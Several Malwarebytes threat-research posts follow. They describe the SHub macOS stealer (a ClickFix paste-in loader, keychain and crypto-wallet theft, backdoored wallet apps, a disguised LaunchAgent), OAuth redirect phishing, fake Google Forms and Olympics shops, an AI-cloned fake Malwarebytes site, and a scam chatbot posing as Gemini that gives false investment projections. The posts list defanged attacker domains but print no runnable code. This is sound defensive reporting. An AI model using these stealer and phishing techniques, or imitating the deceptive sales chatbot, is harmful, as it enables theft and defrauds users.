Treat skill/extension installation as introducing new code into a privileged environment: restrict registries, validate provenance, and monitor for rare or newly seen skills.
Log and periodically review agent memory/state and behavior for durable instruction changes, especially after ingesting untrusted content or shared feeds.
Understand and provide for the event where you may need to nuke‑and‑pave: keep non‑sensitive state snapshots handy, document a rebuild and credential‑rotation playbook, and rehearse it.
Run an up-to-date, real-time anti-malware solution that can detect information stealers and other malware.
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
A convincing fake version of the popular Mac utility CleanMyMac is tricking users into installing malware.
The site instructs visitors to paste a command into Terminal. If they do, it installs SHub Stealer, macOS malware designed to steal sensitive data including saved passwords, browser data, Apple Keychain contents, cryptocurrency wallets, and Telegram sessions. It can even modify wallet apps such as Exodus, Atomic Wallet, Ledger Wallet, and Ledger Live so attackers can later steal the wallet’s recovery phrase.
The site impersonates the CleanMyMac website, but is unconnected to the legitimate software or the developers, MacPaw.
Remember: Legitimate apps almost never require you to paste commands into Terminal to install them. If a website tells you to do this, treat it as a major red flag and do not proceed. When in doubt, download software only from the developer’s official website or the App Store.
Read the deep-dive to see what we discovered.
“Open Terminal and paste the following command”
The attack begins at cleanmymacos[.]org, a website designed to look like the real CleanMyMac product page. Visitors are shown what appears to be an advanced installation option of the kind a power user might expect. The page instructs them to open Terminal, paste a command, and press Return. There’s no download prompt, disk image, or security dialog.
That command performs three actions in quick succession:
First, it prints a reassuring line: macOS-CleanMyMac-App: https://macpaw.com/cleanmymac/us/app to make the Terminal output look legitimate.
Next, it decodes a base64-encoded link that hides the real destination.
Finally, it downloads a shell script from the attacker’s server and pipes it directly into zsh for immediate execution.
From the user’s perspective, nothing unusual happens.
This technique, known as ClickFix, has become a common delivery method for Mac infostealers. Instead of exploiting a vulnerability, it tricks the user into running the malware themselves. Because the command is executed voluntarily, protections such as Gatekeeper, notarization checks, and XProtect offer little protection once the user pastes the command and presses Return.
Geofencing: Not everyone gets the payload
The first script that arrives on the victim’s Mac is a loader, which is a small program that checks the system before continuing the attack.
One of its first checks looks at the macOS keyboard settings to see whether a Russian-language keyboard is installed. If it finds one, the malware sends a cis_blocked event to the attacker’s server and exits without doing anything else.
This is a form of geofencing. Malware linked to Russian-speaking cybercriminal groups often avoids infecting machines that appear to belong to users in CIS countries (the Commonwealth of Independent States, which includes Russia and several neighboring nations). By avoiding systems that appear to belong to Russian users, the attackers reduce the risk of attracting attention from local law enforcement.
The behavior does not prove where SHub was developed, but it follows a pattern long observed in that ecosystem, where malware is configured not to infect systems in the operators’ own region.
If the system passes this check, the loader sends a profile of the machine to the command-and-control server at res2erch-sl0ut[.]com. The report includes the device’s external IP address, hostname, macOS version, and keyboard locale.
Each report is tagged with a unique build hash, a 32-character identifier that acts as a tracking ID. The same identifier appears in later communications with the server, allowing the operators to link activity to a specific victim or campaign.
“System Preferences needs your password to continue”
Comparing payloads served with and without a build hash reveals another campaign-level field in the malware builder: BUILD_NAME. In the sample tied to a build hash, the value is set to PAds; in the version without a hash, the field is empty. The value is embedded in the malware’s heartbeat script and sent to the command-and-control (C2) server during every beacon check-in alongside the bot ID and build ID.
What PAds stands for cannot be confirmed from the payload alone, but its structure matches the kind of traffic-source tag commonly used in pay-per-install or advertising campaigns to track where infections originate. If that interpretation is correct, it suggests victims may be reaching the fake CleanMyMac site through paid placements rather than organic search or direct links.
Once the loader confirms a viable target, it downloads and executes the main payload: an AppleScript hosted at res2erch-sl0ut[.]com/debug/payload.applescript. AppleScript is Apple’s built-in automation language, which allows the malware to interact with macOS using legitimate system features. Its first action is to close the Terminal window that launched it, removing the most obvious sign that anything happened.
Next comes the password harvest. The script displays a dialog box that closely mimics a legitimate macOS system prompt. The title reads “System Preferences”, the window shows Apple’s padlock icon, and the message says:
The awkward wording—“for continue” instead of “to continue”—is one clue the prompt is fake, though many users under pressure might not notice it.
“Required Application Helper. Please enter password for continue.”
If the user enters their password, the malware immediately checks whether it is correct using the macOS command-line tool dscl. If the password is wrong, it is logged and the prompt appears again. The script will repeat the prompt up to ten times until a valid password is entered or the attempts run out.
That password is valuable because it unlocks the macOS Keychain, Apple’s encrypted storage system for saved passwords, Wi-Fi credentials, app tokens, and private keys. Without the login password, the Keychain database is just encrypted data. With it, the contents can be decrypted and read.
A systematic sweep of everything worth stealing
With the password in hand, SHub begins a systematic sweep of the machine. All collected data is staged in a randomly named temporary folder—something like /tmp/shub_4823917/—before being packaged and sent to the attackers.
The browser targeting is extensive. SHub searches 14 Chromium-based browsers (Chrome, Brave, Edge, Opera, OperaGX, Vivaldi, Arc, Sidekick, Orion, Coccoc, Chrome Canary, Chrome Dev, Chrome Beta, and Chromium), stealing saved passwords, cookies, and autofill data from every profile it finds. Firefox receives the same treatment for stored credentials.
The malware also scans installed browser extensions, looking for 102 known cryptocurrency wallet extensions by their internal identifiers. These include MetaMask, Phantom, Coinbase Wallet, Exodus Web3, Trust Wallet, Keplr, and many others.
Desktop wallet applications are also targeted. SHub collects local storage data from 23 wallet apps, including Exodus, Electrum, Atomic Wallet, Guarda, Coinomi, Sparrow, Wasabi, Bitcoin Core, Monero, Litecoin Core, Dogecoin Core, BlueWallet, Ledger Live, Ledger Wallet, Trezor Suite, Binance, and TON Keeper. Each wallet folder is capped at 100 MB to keep the archive manageable.
Beyond wallets and browsers, SHub also captures the macOS Keychain directory, iCloud account data, Safari cookies and browsing data, Apple Notes databases, and Telegram session files—information that could allow attackers to hijack accounts without knowing the passwords.
It also copies shell history files (.zsh_history and .bash_history) and .gitconfig, which often contain API keys or authentication tokens used by developers.
All of this data is compressed into a ZIP archive and uploaded to res2erch-sl0ut[.]com/gate along with a hardcoded API key identifying the malware build. The archive and temporary files are then deleted, leaving minimal traces on the system.
The part that keeps stealing after you’ve cleaned up
Most infostealers are smash-and-grab operations: they run once, take everything, and leave. SHub does that, but it also goes a step further.
If it finds certain wallet applications installed, it downloads a replacement for the application’s core logic file from the attacker’s server and swaps it in silently. We retrieved and analyzed five such replacements. All five were backdoored, each tailored to the architecture of the target application.
The targets are Electron-based apps. These are desktop applications built on web technologies whose core logic lives in a file called app.asar. SHub kills the running application, downloads a replacement app.asar from the C2 server, overwrites the original inside the application bundle, strips the code signature, and re-signs the app so macOS will accept it. The process runs silently in the background.
The five confirmed crypto wallet apps are Exodus, Atomic Wallet, Ledger Wallet, Ledger Live, and Trezor Suite.
Exodus: silent credential theft on every unlock
On every wallet unlock, the modified app silently sends the user’s password and seed phrase to wallets-gate[.]io/api/injection. A one-line bypass is added to the network filter to allow the request through Exodus’s own domain allowlist.
Atomic Wallet: the same exfiltration, no bypass required
On every unlock, the modified app sends the user’s password and mnemonic to wallets-gate[.]io/api/injection. No network filter bypass is required—Atomic Wallet’s Content Security Policy already allows outbound HTTPS connections to any domain.
Ledger Wallet: TLS bypass and a fake recovery wizard
The modified app disables TLS certificate validation at startup. Five seconds after launch, it replaces the interface with a fake three-page recovery wizard that asks the user for their seed phrase and sends it to wallets-gate[.]io/api/injection.
Ledger Live: identical modifications
Ledger Live receives the same modifications as Ledger Wallet: TLS validation is disabled and the user is presented with the same fake recovery wizard.
Trezor Suite: fake security update overlay
After the application loads, a full-screen overlay styled to match Trezor Suite’s interface appears, presenting a fake critical security update that asks for the user’s seed phrase. The phrase is validated using the app’s own bundled BIP39 library before being sent to wallets-gate[.]io/api/injection.
At the same time, the app’s update mechanism is disabled through Redux store interception so the modified version remains in place.
Five wallets, one endpoint, one operator
Across all five modified applications, the exfiltration infrastructure is identical: the same wallets-gate[.]io/api/injection endpoint, the same API key, and the same build ID.
Each request includes a field identifying the source wallet—exodus, atomic, ledger, ledger_live, or trezor_suite—allowing the backend to route incoming credentials by product.
This consistency across five independently modified applications strongly suggests that a single operator built all of the backdoors against the same backend infrastructure.
A persistent backdoor disguised as Google’s own update service
To maintain long-term access, SHub installs a LaunchAgent, which is a background task that macOS automatically runs every time the user logs in. The file is placed at:
The script collects a unique hardware identifier from the Mac (the IOPlatformUUID) and sends it to the attacker’s server as a bot ID. The server can respond with base64-encoded commands, which the script decodes, executes, and then deletes.
In practice, this gives the attackers the ability to run commands on the infected Mac at any time until the persistence mechanism is discovered and removed.
The final step is a decoy error message shown to the user:
“Your Mac does not support this application. Try reinstalling or downloading the version for your system.”
This explains why CleanMyMac appeared not to install and sends the victim off to troubleshoot a problem that doesn’t actually exist.
SHub’s place in a growing family of Mac stealers
SHub is not an isolated creation. It belongs to a rapidly evolving family of AppleScript-based macOS infostealers including campaigns such as MacSync Stealer (an expanded version of malware known as Mac.c, first seen in April 2025) and Odyssey Stealer, and shares traits with other credential-stealing malware such as Atomic Stealer.
These families share a similar architecture: a ClickFix delivery chain, an AppleScript payload, a fake System Preferences password prompt, recursive data harvesting functions, and exfiltration through a ZIP archive uploaded to a command-and-control server.
What distinguishes SHub is the sophistication of its infrastructure. Features such as per-victim build hashes for campaign tracking, detailed wallet targeting, wallet application backdooring, and a heartbeat system capable of running remote commands all suggest an author who studied earlier variants and invested heavily in expanding them. The result resembles a malware-as-a-service platform rather than a simple infostealer.
The presence of a DEBUG tag in the malware’s internal identifier, along with the detailed telemetry it sends during execution, suggests the builder was still under active development at the time of analysis.
The campaign also fits a broader pattern of brand impersonation attacks. Researchers have documented similar ClickFix campaigns impersonating GitHub repositories, Google Meet, messaging platforms, and other software tools, with each designed to convince users that they are following legitimate installation instructions. The cleanmymacos.org site appears to follow the same playbook, using a well-known Mac utility as the lure.
What to do if you may have been affected
The most effective part of this attack is also its simplest: it convinces the victim to run the malicious command themselves.
By presenting a Terminal command as a legitimate installation step, the campaign sidesteps many of macOS’s built-in protections. No app download is required, no disk image is opened, and no obvious security warning appears. The user simply pastes the command and presses Return.
This reflects a broader trend: macOS is becoming a more attractive target, and the tools attackers use are becoming more capable and more professional. SHub Stealer, even in its current state, represents a step beyond many earlier macOS infostealers.
For most users, the safest rule is also the simplest: install software only from the App Store or from a developer’s official website. The App Store handles installation automatically, so there is no Terminal command, no guesswork, and no moment where you have to decide whether to trust a random website.
Do not run the command. If you have not yet executed the Terminal command shown on cleanmymacos[.]org or a similar site, close the page and do not return.
Check for the persistence agent. Open Finder, press Cmd + Shift + G, and navigate to ~/Library/LaunchAgents/. If you see a file named com.google.keystone.agent.plist that you did not install, delete it. Also check: ~/Library/Application Support/Google/. If a folder named GoogleUpdate.app is present and you did not install it, remove it.
Treat your wallet seed phrase as compromised. If you have Exodus, Atomic Wallet, Ledger Live, Ledger Wallet, or Trezor Suite installed and you ran this command, assume your seed phrase and wallet password have been exposed. Move your funds to a new wallet created on a clean device immediately. Seed phrases cannot be changed, and anyone with a copy can access the wallet.
Change your passwords. Your macOS login password and any passwords stored in your browser or Keychain should be considered exposed. Change them from a device you trust.
Revoke sensitive tokens. If your shell history contained API keys, SSH keys, or developer tokens, revoke and regenerate them.
Run Malwarebytes for Mac. It can detect and remove remaining components of the infection, including the LaunchAgent and modified files.
Indicators of compromise (IOCs)
Domains
cleanmymacos[.]org — phishing site impersonating CleanMyMac
res2erch-sl0ut[.]com — primary command-and-control server (loader delivery, telemetry, data exfiltration)
wallets-gate[.]io — secondary C2 used by wallet backdoors to exfiltrate seed phrases and passwords
We don’t just report on threats—we remove them
Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
Attackers are abusing normal OAuth error redirects to send users from a legitimate Microsoft or Google login URL to phishing or malware pages, without ever completing a successful sign‑in or stealing tokens from the OAuth flow itself.
That calls for a bit more explanation.
OAuth (Open Authorization) is an open-standard protocol for delegated authorization. It allows users to grant websites or applications access to their data on another service (for example, Google or Facebook) without sharing their password.
OAuth redirection is the process where an authorization server sends a user’s browser back to an application (client) with an authorization code or token after user authentication.
Researchers found that phishers use silent OAuth authentication flows and intentionally invalid scopes to redirect victims to attacker-controlled infrastructure without stealing tokens.
So, what does this attack look like from a target’s perspective?
From the user’s perspective, the attack chain looks roughly like this:
The email
An email arrives with a plausible business lure. For example, you receive an email about something routine but urgent: document sharing or review, a Social Security or financial notice, an HR or employee report, a Teams meeting invite, or a password reset.
The email body contains a link such as “View document” or “Review report,” or a PDF attachment that includes a link instead.
The link
You click the link after seeing that it appears to be a normal Microsoft or Google login. The visible URL (what you see when you hover over it) looks convincing, starting with a trusted domain like https://login.microsoftonline.com/ or https://accounts.google.com/.
There is no obvious sign that the parameters (prompt=none, odd or empty scope, encoded state) are abnormal.
Silent OAuth
The crafted URL attempts a silent OAuth authorization (prompt=none) and uses parameters that are guaranteed to fail (for example, an invalid or missing scope).
The identity provider evaluates your session and conditional access, determines the request cannot succeed silently, and returns an OAuth error, such as interaction_required, access_denied, or consent_required.
The redirect
By design, the OAuth server then redirects your browser, including the error parameters and state, to the app’s registered redirect URI, which in these cases is the attacker’s domain.
To the user, this is just a quick flash of a Microsoft or Google URL followed by another page. It’s unlikely anyone would notice the errors in the query string.
Landing page
The target gets redirected to a page that looks like a legitimate login or business site. This could very well be a clone of a trusted brand’s site.
From here, there are two possible malicious scenarios:
Phishing / Attacker in the Middle (AitM) variant
A normal login page or a verification prompt, sometimes with CAPTCHAs or interstitials to look more trustworthy and bypass some controls.
The email address may already be filled in because the attackers passed it through the state parameter.
When the user enters credentials and multi-factor authentication (MFA), the attacker‑in‑the‑middle toolkit intercepts them, including session cookies, while passing them along so the experience feels legitimate.
Malware delivery variant
Immediately (or after a brief intermediate page), the browser hits a download path and automatically downloads a file.
The context of the page matches the lure (“Download the secure document,” “Meeting resources,” and so on), making it seem reasonable to open the file.
The target might notice the initial file open or some system slowdown, but otherwise the compromise is practically invisible.
Potential impact
By harvesting credentials or planting a backdoor, the attacker now has a foothold on the system. From there, they may carry out hands-on-keyboard activity, move laterally, steal data, or stage ransomware, depending on their goals.
The harvested credentials and tokens can be used to access email, cloud apps, or other resources without the need to keep malware on the device.
How to stay safe
Since the attacker does not need your token from this flow (only the redirect into their own infrastructure), the OAuth request itself may look less suspicious. Be vigilant and follow our advice:
If you rely on hovering over links, be extra cautious when you see very long URLs with oauth2, authorize, and lots of encoded text, especially if they come from outside your organization.
Even if the start of the URL looks legitimate, verify with a trusted sender before clicking the link.
If something urgent arrives by email and immediately forces you through a strange login or starts a download you did not expect, assume it is malicious until proven otherwise.
If you are redirected somewhere unfamiliar, stop and close the tab.
Be very wary of files that download immediately after clicking a link in an email, especially from /download/ paths.
If a site says you must “run” or “enable” something to view a secure document, close it and double-check which site you’re currently on. It might be up to something.
Keep your OS, browser, and your favorite security tools up to date. They can block many known phishing kits and malware downloads automatically.
Pro tip: use Malwarebytes Scam Guard to help you determine whether the email you received is a scam or not.
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
The subdomain forms.google.ss-o[.]com is a clear attempt to impersonate the legitimate forms.google.com. The “ss-o” is likely introduced to look like “single sign-on,” an authentication method that allows users to securely log in to multiple, independent applications or websites using one single set of credentials (username and password).
Unfortunately, when we tried to visit the URLs we were redirected to the local Google search website. This is a common phisher’s tactic to prevent victims from sharing their personalized links with researchers or online analysis.
After some digging, we found a file called generation_form.php on the same domain, which we believe the phishing crew used to create these links. The landing page for the campaign was: https://forms.google.ss-o[.]com/generation_form.php?form=opportunitysec
The generation_form.php script does what the name implies: It creates a personalized URL for the person clicking that link.
With that knowledge in hand, we could check what the phish was all about. Our personalized link brought us to this website:
Fake Google Forms site
The greyed out “form” behind the prompt promises:
We’re Hiring! Customer Support Executive (International Process)
Are you looking to kick-start or advance your career…
The fields in the form: Full Name, Email address, and an essay field “Please describe in detail why we should choose you”
Buttons: “Submit” and “Clear form.”
The whole web page emulates Google Forms, including logo images, color schemes, a notice about not “submitting passwords,” and legal links. At the bottom, it even includes the typical Google Forms disclaimer (“This content is neither created nor endorsed by Google.”) for authenticity.
Clicking the “Sign in” button took us to https://id-v4[.]com/generation.php, which has now been taken down. The domain id-v4.com has been used in several phishing campaigns for almost a year. In this case, it asked for Google account credentials.
Given the “job opportunity” angle, we suspect links were distributed through targeted emails or LinkedIn messages.
How to stay safe
Lures that promise remote job opportunities are very common these days. Here are a few pointers to help keep you safe from targeted attacks like this:
Do not click on links in unsolicited job offers.
Use a password manager, which would not have filled in your Google username and password on a fake website.
Pro tip: Malwarebytes Scam Guard identified this attack as a scam just by looking at the URL.
IOCs
id-v4[.]com
forms.google.ss-o[.]com
Blocked by Malwarebytes
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
Scammers have found a new use for AI: creating custom chatbots posing as real AI assistants to pressure victims into buying worthless cryptocurrencies.
We recently came across a live “Google Coin” presale site featuring a chatbot that claimed to be Google’s Gemini AI assistant. The bot guided visitors through a polished sales pitch, answered their questions about investment, projecting returns, and ultimately ended with victims sending an irreversible crypto payment to the scammers.
Google does not have a cryptocurrency. But as “Google Coin” has appeared before in scams, anyone checking it out might think it’s real. And the chatbot was very convincing.
AI as the closer
The chatbot introduced itself as,
“Gemini — your AI assistant for the Google Coin platform.”
It used Gemini-style branding, including the sparkle icon and a green “Online” status indicator, creating the immediate impression that it was an official Google product.
When asked, “Will I get rich if I buy 100 coins?”, the bot responded with specific financial projections. A $395 investment at the current presale price would be worth $2,755 at listing, it claimed, representing “approximately 7x” growth. It cited a presale price of $3.95 per token, an expected listing price of $27.55, and invited further questions about “how to participate.”
This is the kind of personalized, responsive engagement that used to require a human scammer on the other end of a Telegram chat. Now the AI does it automatically.
A persona that never breaks
What stood out during our analysis was how tightly controlled the bot’s persona was. We found that it:
Claimed consistently to be “the official helper for the Google Coin platform”
Refused to provide any verifiable company details, such as a registered entity, regulator, license number, audit firm, or official email address
Dismissed concerns and redirected them to vague claims about “transparency” and “security”
Refused to acknowledge any scenario in which the project could be a scam
Redirected tougher questions to an unnamed “manager” (likely a human closer waiting in the wings)
When pressed, the bot doesn’t get confused or break character. It loops back to the same scripted claims: a “detailed 2026 roadmap,” “military-grade encryption,” “AI integration,” and a “growing community of investors.”
Whoever built this chatbot locked it into a sales script designed to build trust, overcome doubt, and move visitors toward one outcome: sending cryptocurrency.
Why AI chatbots change the scam model
Scammers have always relied on social engineering. Build trust. Create urgency. Overcome skepticism. Close the deal.
Traditionally, that required human operators, which limited how many victims could be engaged at once. AI chatbots remove that bottleneck entirely.
A single scam operation can now deploy a chatbot that:
Engages hundreds of visitors simultaneously, 24 hours a day
Delivers consistent, polished messaging that sounds authoritative
Impersonates a trusted brand’s AI assistant (in this case, Google’s Gemini)
Responds to individual questions with tailored financial projections
Escalates to human operators only when necessary
This matches a broader trend identified by researchers. According to Chainalysis, roughly 60% of all funds flowing into crypto scam wallets were tied to scammers using AI tools. AI-powered scam infrastructure is becoming the norm, not the exception. The chatbot is just one piece of a broader AI-assisted fraud toolkit—but it may be the most effective piece, because it creates the illusion of a real, interactive relationship between the victim and the “brand.”
The bait: a polished fake
The chatbot sits on top of a convincing scam operation. The Google Coin website mimics Google’s visual identity with a clean, professional design, complete with the “G” logo, navigation menus, and a presale dashboard. It claims to be in “Stage 5 of 5” with over 9.9 million tokens sold and a listing date of February 18—all manufactured urgency.
To borrow credibility, the site displays logos of major companies—OpenAI, Google, Binance, Squarespace, Coinbase, and SpaceX—under a “Trusted By Industry” banner. None of these companies have any connection to the project.
If a visitor clicks “Buy,” they’re taken to a wallet dashboard that looks like a legitimate crypto platform, showing balances for “Google” (on a fictional “Google-Chain”), Bitcoin, and Ethereum.
The purchase flow lets users buy any number of tokens they want and generates a corresponding Bitcoin payment request to a specific wallet address. The site also layers on a tiered bonus system that kicks in at 100 tokens and scales up to 100,000: buy more and the bonuses climb from 5% up to 30% at the top tier. It’s a classic upsell tactic designed to make you think it’s smarter to spend more.
Every payment is irreversible. There is no exchange listing, no token with real value, and no way to get your money back.
What to watch for
We’re entering an era where the first point of contact in a scam may not be a human at all. AI chatbots give scammers something they’ve never had before: a tireless, consistent, scalable front-end that can engage victims in what feels like a real conversation. When that chatbot is dressed up as a trusted brand’s official AI assistant, the effect is even more convincing.
According to the FTC’s Consumer Sentinel data, US consumers reported losing $5.7 billion to investment scams in 2024 (more than any other type of fraud, and up 24% on the previous year). Cryptocurrency remains the second-largest payment method scammers use to extract funds, because transactions are fast and irreversible. Now add AI that can pitch, persuade, and handle objections without a human operator—and you have a scalable fraud model.
AI chatbots on scam sites will become more common. Here’s how to spot them:
They impersonate known AI brands. A chatbot calling itself “Gemini,” “ChatGPT,” or “Copilot” on a third-party crypto site is almost certainly not what it claims to be. Anyone can name a chatbot anything.
They won’t answer due diligence questions. Ask what legal entity operates the platform, what financial regulator oversees it, or where the company is registered. Legitimate operations can answer those questions, scam bots try to avoid them (and if they do answer, verify it).
They project specific returns. No legitimate investment product promises a specific future price. A chatbot telling you that your $395 will become $2,755 is not giving you financial information—it’s running a script.
They create urgency. Pressure tactics like, “stage 5 ends soon,” “listing date approaching,” “limited presale” are designed to push you into making fast decisions.
How to protect yourself
Google does not have a cryptocurrency. It has not launched a presale. And its Gemini AI is not operating as a sales assistant on third-party crypto sites. If you encounter anything suggesting otherwise, close the tab.
Verify claim on the official website of the company being referenced.
Don’t rely on a chatbot’s branding. Anyone can name a bot anything.
Never send cryptocurrency based on projected returns.
Search the project name along with “scam” or “review” before sending any money.
Use web protection tools like Malwarebytes Browser Guard, which is free to use and blocks known and unknown scam sites.
If you’ve already sent funds, report it to your local law enforcement, the FTC at reportfraud.ftc.gov, and the FBI’s IC3 at ic3.gov.
IOCs
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We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
If you’ve seen the two stoat siblings serving as official mascots of the Milano Cortina 2026 Winter Olympics, you already know Tina and Milo are irresistible.
Designed by Italian schoolchildren and chosen from more than 1,600 entries in a public poll, the duo has already captured hearts worldwide. So much so that the official 27 cm Tina plush toy on the official Olympics web shop is listed at €40 and currently marked out of stock.
Tina and Milo are in huge demand, and scammers have noticed.
When supply runs out, scam sites rush in
In roughly the past week alone, we’ve identified nearly 20 lookalike domains designed to imitate the official Olympic merchandise store.
These aren’t crude copies thrown together overnight. The sites use the same polished storefront template, complete with promotional videos and background music designed to mirror the official shop.olympics.com experience.
Fake site offering Tina at a huge discountReal Olympic site showing Tina out of stock
The layout and product pages are the same—the only thing that changes is the domain name. At a quick glance, most people wouldn’t notice anything unusual.
Here’s a sample of the domains we’ve been tracking:
2026winterdeals[.]top olympics-save[.]top olympics2026[.]top postolympicsale[.]com sale-olympics[.]top shopolympics-eu[.]top winter0lympicsstore[.]top (note the zero replacing the letter “o”) winterolympics[.]top 2026olympics[.]shop olympics-2026[.]shop olympics-2026[.]top olympics-eu[.]top olympics-hot[.]shop olympics-hot[.]top olympics-sale[.]shop olympics-sale[.]top olympics-top[.]shop olympics2026[.]store olympics2026[.]top
Based on telemetry, additional registrations are actively emerging.
Reports show users checking these domains from multiple regions including Ireland, the Czech Republic, the United States, Italy, and China—suggesting this is a global campaign targeting fans worldwide.
Malwarebytes blocks these domains as scams.
Anatomy of a fake Olympic shop
The fake sites are practically identical. Each one loads the same storefront, with the same layout, product pages, and promotional banners.
That’s usually a sign the scammers are using a ready-made template and copying it across multiple domains. One obvious giveaway, however, is the pricing.
On the official store, the Tina plush costs €40 and is currently out of stock. On the fake sites, it suddenly reappears at a hugely discounted price—in one case €20, with banners shouting “UP & SAVE 80%.” When an item is sold out everywhere official and a random .top domain has it for half price, you’re looking at bait.
Delivering malware through fake order confirmations or “tracking” links
Taking your money and shipping nothing at all
The Olympics are a scammer’s playground
This isn’t the first time cybercriminals have piggybacked on Olympic fever. Fake ticket sites proliferated as far back as the Beijing 2008 Games. During Paris 2024, analysts observed significant spikes in Olympics-themed phishing and DDoS activity.
The formula is simple. Take a globally recognized brand, add urgency and emotional appeal (who doesn’t want an adorable stoat plush for their kid?), mix in limited availability, and serve it up on a convincing-looking website. With over 3 billion viewers expected for Milano Cortina, the pool of potential victims is enormous.
Scammers are getting smarter. AI-powered tools now let them generate convincing phishing pages in multiple languages at scale. The days of spotting a scam by its broken images and multiple typos are fading fast.
Protect yourself from Winter Olympics scams
As excitement builds ahead of the Winter Olympics in Milano Cortina, expect scammers to ramp up their efforts across fake shops, fraudulent ticket sites, bogus livestreams, and social media phishing campaigns.
Buy only from shop.olympics.com. Type the address directly into your browser and bookmark it. Don’t click links from ads or emails.
Don’t trust extreme discounts. If it’s sold out officially but “50–80% off” elsewhere, it’s likely a scam.
Check the domain closely. Watch for odd extensions like .top or .shop, extra hyphens, or letter swaps like “winter0lympicsstore.”
Never enter payment details on unfamiliar sites. If something feels off, leave immediately.
Use browser protection. Tools like Malwarebytes Browser Guard block known scam sites in real time, for free. Scam Guard can help you check suspicious websites before you buy.
We don’t just report on scams—we help detect them
Cybersecurity risks should never spread beyond a headline. If something looks dodgy to you, check if it’s a scam using Malwarebytes Scam Guard. Submit a screenshot, paste suspicious content, or share a link, text or phone number, and we’ll tell you if it’s a scam or legit. Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.
AI tool Vercel was abused by cybercriminals to create a Malwarebytes lookalike website.
Cybercriminals no longer need design or coding skills to create a convincing fake brand site. All they need is a domain name and an AI website builder. In minutes, they can clone a site’s look and feel, plug in payment or credential-stealing flows, and start luring victims through search, social media, and spam.
One side effect of being an established and trusted brand is that you attract copycats who want a slice of that trust without doing any of the work. Cybercriminals have always known it is much easier to trick users by impersonating something they already recognize than by inventing something new—and developments in AI have made it trivial for scammers to create convincing fake sites.
Registering a plausible-looking domain is cheap and fast, especially through registrars and resellers that do little or no upfront vetting. Once attackers have a name that looks close enough to the real thing, they can use AI-powered tools to copy layouts, colors, and branding elements, and generate product pages, sign-up flows, and FAQs that look “on brand.”
Over a three‑month period leading into the 2025 shopping season, researchers observed more than 18,000 holiday‑themed domains with lures like “Christmas,” “Black Friday,” and “Flash Sale,” with at least 750 confirmed as malicious and many more still under investigation. In the same window, about 19,000 additional domains were registered explicitly to impersonate major retail brands, nearly 3,000 of which were already hosting phishing pages or fraudulent storefronts.
These sites are used for everything from credential harvesting and payment fraud to malware delivery disguised as “order trackers” or “security updates.”
Attackers then boost visibility using SEO poisoning, ad abuse, and comment spam, nudging their lookalike sites into search results and promoting them in social feeds right next to the legitimate ones. From a user’s perspective, especially on mobile without the hover function, that fake site can be only a typo or a tap away.
When the impersonation hits home
A recent example shows how low the barrier to entry has become.
We were alerted to a site at installmalwarebytes[.]org that masqueraded from logo to layout as a genuine Malwarebytes site.
Close inspection revealed that the HTML carried a meta tag value pointing to v0 by Vercel, an AI-assisted app and website builder.
The tool lets users paste an existing URL into a prompt to automatically recreate its layout, styling, and structure—producing a near‑perfect clone of a site in very little time.
The history of the imposter domain tells an incremental evolution into abuse.
Registered in 2019, the site did not initially contain any Malwarebytes branding. In 2022, the operator began layering in Malwarebytes branding while publishing Indonesian‑language security content. This likely helped with search reputation while normalizing the brand look to visitors. Later, the site went blank, with no public archive records for 2025, only to resurface as a full-on clone backed by AI‑assisted tooling.
Traffic did not arrive by accident. Links to the site appeared in comment spam and injected links on unrelated websites, giving users the impression of organic references and driving them toward the fake download pages.
Payment flows were equally opaque. The fake site used PayPal for payments, but the integration hid the merchant’s name and logo from the user-facing confirmation screens, leaving only the buyer’s own details visible. That allowed the criminals to accept money while revealing as little about themselves as possible.
Behind the scenes, historical registration data pointed to an origin in India and to a hosting IP (209.99.40[.]222) associated with domain parking and other dubious uses rather than normal production hosting.
Combined with the AI‑powered cloning and the evasive payment configuration, it painted a picture of low‑effort, high‑confidence fraud.
AI website builders as force multipliers
The installmalwarebytes[.]org case is not an isolated misuse of AI‑assisted builders. It fits into a broader pattern of attackers using generative tools to create and host phishing sites at scale.
Threat intelligence teams have documented abuse of Vercel’s v0 platform to generate fully functional phishing pages that impersonate sign‑in portals for a variety of brands, including identity providers and cloud services, all from simple text prompts. Once the AI produces a clone, criminals can tweak a few links to point to their own credential‑stealing backends and go live in minutes.
Research into AI’s role in modern phishing shows that attackers are leaning heavily on website generators, writing assistants, and chatbots to streamline the entire kill chain—from crafting persuasive copy in multiple languages to spinning up responsive pages that render cleanly across devices. One analysis of AI‑assisted phishing campaigns found that roughly 40% of observed abuse involved website generation services, 30% involved AI writing tools, and about 11% leveraged chatbots, often in combination. This stack lets even low‑skilled actors produce professional-looking scams that used to require specialized skills or paid kits.
Growth first, guardrails later
The core problem is not that AI can build websites. It’s that the incentives around AI platform development are skewed. Vendors are under intense pressure to ship new capabilities, grow user bases, and capture market share, and that pressure often runs ahead of serious investment in abuse prevention.
As Malwarebytes General Manager Mark Beare put it:
“AI-powered website builders like Lovable and Vercel have dramatically lowered the barrier for launching polished sites in minutes. While these platforms include baseline security controls, their core focus is speed, ease of use, and growth—not preventing brand impersonation at scale. That imbalance creates an opportunity for bad actors to move faster than defenses, spinning up convincing fake brands before victims or companies can react.”
Site generators allow cloned branding of well‑known companies with no verification, publishing flows skip identity checks, and moderation either fails quietly or only reacts after an abuse report. Some builders let anyone spin up and publish a site without even confirming an email address, making it easy to burn through accounts as soon as one is flagged or taken down.
